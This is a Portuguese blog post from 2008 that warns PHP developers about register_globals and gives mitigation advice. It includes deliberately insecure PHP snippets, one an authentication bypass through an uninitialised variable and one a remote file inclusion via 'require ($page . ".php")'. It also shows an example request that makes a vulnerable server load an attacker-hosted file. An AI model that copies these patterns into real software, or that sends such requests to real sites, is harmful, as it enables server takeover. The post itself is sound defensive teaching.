segunda-feira, 4 de fevereiro de 2008

Execução de codigo remoto - PHP - Register Globals

Muitos que me conhecem sabem que volta e meia implico com a linguagem PHP, apesar de trabalhar a maior parte do tempo com ela.
Vou deixar aqui uma dica de segurança sobre o Register Globals do PHP, que vem justamente do fato do PHP não necessitar de inicialização de variavel.
Muitos desenvolvedores sempre deixam essa opção setada para "ON" no php.ini
Isso facilita muito a vida deles. O bom é que isso também facilita muito a vida de quem quer executar algum codigo indevido na sua aplicação web.
Mas todo mundo aqui é bem grandinho e sabe o que faz no seu servidor, então vamos deixar de blá blá blá e vamos ao que interessa.

Esse tipo de problema é muito dificil de ser descoberto durante um teste de intrusão.
Porém se você tiver acesso ao codigo fonte do aplicativo e puder da uma revisada nele, certamente vai identificar com muita facilidade esse tipo de vulnerabilidade.
Isso é um prato cheio para plataformas feitas em php como Wordpress, Moodle, Drupal e etc...
O Drupal por exemplo já sofreu desse mal, mas se não me engano em versões recentes essa vulnerabilidade já foi corrigida.

Nas versões anteriores do PHP, o register_globals vinha pré-definido com "ON", porém nas versões mais recentes ele já vem por default em "OFF".
Com o register globals você pode obter diretamente dos metodos get e post, assim como de cookies os valores de qualquer variavel não inicializada.
O php simplesmente usa as variaveis sem saber de onde os valores vieram.
Vamos ver 2 exemplos de codigos inseguros.

// define $autenticado = true SOMENTE se o usuário for autenticado
if (usuario_autenticado())
{ $autenticado = true;}

// Por não inicializar a variavel com nenhum valor
//ela pode ser definida atraves da url de requisição
//supondo que temos uma pagina "autentica.php"
//que recebe o pedido de autenticação
//usando GET podemos fazer a seguinte requisição
//http://www.qualquersite.com/autentica.php?autenticado=1
// Dessa maneira, qualquer um pode ser visto como autenticado!

if ($autenticado)
{ include "dadosCriticos.php"; }

Outra linha de codigo simples que pode criar uma dor de cabeça imensa se o register_globals estiver ligado é:

require ($page . ".php");

Quase todo codigo em php que eu olho tem uma linha desse tipo.
Custa inicializar a variavel antes, e desligar o register_globals?
Com essa linha de codigo um atacante pode executar qualquer comando que ele queira, ou que o servidor permita a aplicação web executar.
Como?
Se a variavel $page não foi definida e o register globals está "on".
Então você pode incluir qualquer requisição de pagina, inclusive paginas que estão em outros servidores e etc... dentro da variavel $page.
Vamos supor que você é um cracker que hospeda seus arquivos em um servidor qualquer.

Você tem um arquivo chamado "ataque" que você coloca nos servidores que você invade.

Esse arquivos contem comandos php que executam algumas coisas "ruins" no servidor(vou deixar isso a cargo da sua imaginação).

Então se você tem um codigo daquele no index.php da sua aplicação e o cracker faz a seguinte requisição:

http://www.sitevulneravel.com/index.php?page=http://www.cracker.com.br/ataque

Já era!!!

Ele está fazendo o seu servidor executar o arquivo dele no outro servidor, e isso vai trazer consequencias ruins para o seu servidor.

Boas Noticias

Em meio a tanta coisa porca do php(hehehe) temos boas noticias.
1- O register_globals será banido na versão 6.0 do php
2- A partir da versão 4.2 o register_globals, por padrão vem setada como off
3- use a notação $_POST["campoDoForm"] para obter as variaveis de formularios, garanto que isso não é tão trabalhoso assim, o mesmo vale para o GET.

Por essas e outras que é tão importante esconder o phpinfo().
Se um atacante tem acesso a essas informações pode achar com maior facilidade esse tipo de vulnerabilidade e muitas outras também.

1 comentários:

Renato Tavares disse...

Cara gostei da dica!

você e freelancer também? caso seja me add no MSN eu tenho muitos trabalhos sempre por isso se tiver interessado em pegar alguns quando aparecer so add o MSN: msn@renatotavares.com que eu passo um para você.

 
João Bosco Seixas